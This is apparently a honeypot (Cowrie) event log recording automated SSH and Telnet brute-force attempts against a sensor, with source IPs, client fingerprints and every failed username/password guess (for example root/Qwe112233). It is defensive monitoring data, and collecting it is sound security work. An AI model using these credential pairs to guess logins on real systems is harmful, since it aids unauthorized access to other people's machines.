{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":41236,"dst_ip":"10.17.0.5","dst_port":22,"session":"07cf1dcb32d8","protocol":"ssh","message":"New connection: 152.32.162.42:41236 (10.17.0.5:22) [session: 07cf1dcb32d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:50.433472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:50.439109Z","src_ip":"152.32.162.42","session":"07cf1dcb32d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:50.692991Z","src_ip":"152.32.162.42","session":"07cf1dcb32d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123","message":"login attempt [user/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:51.733663Z","src_ip":"152.32.162.42","session":"07cf1dcb32d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:52.989416Z","src_ip":"152.32.162.42","session":"07cf1dcb32d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":23954,"dst_ip":"10.17.0.5","dst_port":22,"session":"993dcd8eb377","protocol":"ssh","message":"New connection: 177.85.247.230:23954 (10.17.0.5:22) [session: 993dcd8eb377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:06.001488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:06.007515Z","src_ip":"177.85.247.230","session":"993dcd8eb377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:06.109824Z","src_ip":"177.85.247.230","session":"993dcd8eb377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:06.549577Z","src_ip":"177.85.247.230","session":"993dcd8eb377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:07.655202Z","src_ip":"177.85.247.230","session":"993dcd8eb377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":41210,"dst_ip":"10.17.0.5","dst_port":22,"session":"87d9cb05f5a5","protocol":"ssh","message":"New connection: 103.176.20.115:41210 (10.17.0.5:22) [session: 87d9cb05f5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:13.922866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:13.927241Z","src_ip":"103.176.20.115","session":"87d9cb05f5a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:14.179089Z","src_ip":"103.176.20.115","session":"87d9cb05f5a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe112233","message":"login attempt [root/Qwe112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:15.218972Z","src_ip":"103.176.20.115","session":"87d9cb05f5a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":38044,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab2556961fdb","protocol":"telnet","message":"New connection: 192.211.53.160:38044 (159.203.135.109:23) [session: ab2556961fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:15.974249Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:16.472844Z","src_ip":"103.176.20.115","session":"87d9cb05f5a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42684,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee42a90a4846","protocol":"ssh","message":"New connection: 60.199.224.2:42684 (159.203.135.109:22) [session: ee42a90a4846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:22.849280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:22.854280Z","src_ip":"60.199.224.2","session":"ee42a90a4846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:23.059801Z","src_ip":"60.199.224.2","session":"ee42a90a4846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.81153678894043,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:23.434446Z","src_ip":"165.232.131.181","session":"3928ae96ffa1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234567890","message":"login attempt [test/test1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:23.911335Z","src_ip":"60.199.224.2","session":"ee42a90a4846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:25.119677Z","src_ip":"60.199.224.2","session":"ee42a90a4846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":40798,"dst_ip":"10.17.0.5","dst_port":22,"session":"21f421b47006","protocol":"ssh","message":"New connection: 152.32.162.42:40798 (10.17.0.5:22) [session: 21f421b47006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:34.740489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:34.745615Z","src_ip":"152.32.162.42","session":"21f421b47006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:34.994867Z","src_ip":"152.32.162.42","session":"21f421b47006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123321","message":"login attempt [ftptest/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:36.017635Z","src_ip":"152.32.162.42","session":"21f421b47006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:37.270075Z","src_ip":"152.32.162.42","session":"21f421b47006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43422,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f4630d06c0d","protocol":"telnet","message":"New connection: 38.54.119.93:43422 (10.17.0.5:23) [session: 6f4630d06c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:44.290920Z"}
{"eventid":"cowrie.session.closed","duration":40.36719083786011,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:09:56.341336Z","src_ip":"192.211.53.160","session":"ab2556961fdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":13348,"dst_ip":"10.17.0.5","dst_port":22,"session":"94a187e3a337","protocol":"ssh","message":"New connection: 177.85.247.230:13348 (10.17.0.5:22) [session: 94a187e3a337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:09.071164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:09.079603Z","src_ip":"177.85.247.230","session":"94a187e3a337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:09.188090Z","src_ip":"177.85.247.230","session":"94a187e3a337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"popuser","password":"popuser","message":"login attempt [popuser/popuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:09.633991Z","src_ip":"177.85.247.230","session":"94a187e3a337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:10.740077Z","src_ip":"177.85.247.230","session":"94a187e3a337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35756,"dst_ip":"10.17.0.5","dst_port":23,"session":"c70ef71b1497","protocol":"telnet","message":"New connection: 38.54.119.93:35756 (10.17.0.5:23) [session: c70ef71b1497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:15.841636Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42694,"dst_ip":"159.203.135.109","dst_port":22,"session":"716cb631ef59","protocol":"ssh","message":"New connection: 60.199.224.2:42694 (159.203.135.109:22) [session: 716cb631ef59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:19.211747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:19.218482Z","src_ip":"60.199.224.2","session":"716cb631ef59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:19.420482Z","src_ip":"60.199.224.2","session":"716cb631ef59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456qq","message":"login attempt [ubuntu/123456qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:20.257259Z","src_ip":"60.199.224.2","session":"716cb631ef59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:21.462981Z","src_ip":"60.199.224.2","session":"716cb631ef59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":58658,"dst_ip":"10.17.0.5","dst_port":22,"session":"92c359d5842f","protocol":"ssh","message":"New connection: 152.32.162.42:58658 (10.17.0.5:22) [session: 92c359d5842f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:22.182018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:22.188653Z","src_ip":"152.32.162.42","session":"92c359d5842f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:22.441617Z","src_ip":"152.32.162.42","session":"92c359d5842f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdtdserver","password":"123456","message":"login attempt [sdtdserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:23.484053Z","src_ip":"152.32.162.42","session":"92c359d5842f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:24.739938Z","src_ip":"152.32.162.42","session":"92c359d5842f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0128870010376,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:38.045590Z","src_ip":"181.189.73.151","session":"263495921055","protocol":"telnet"}
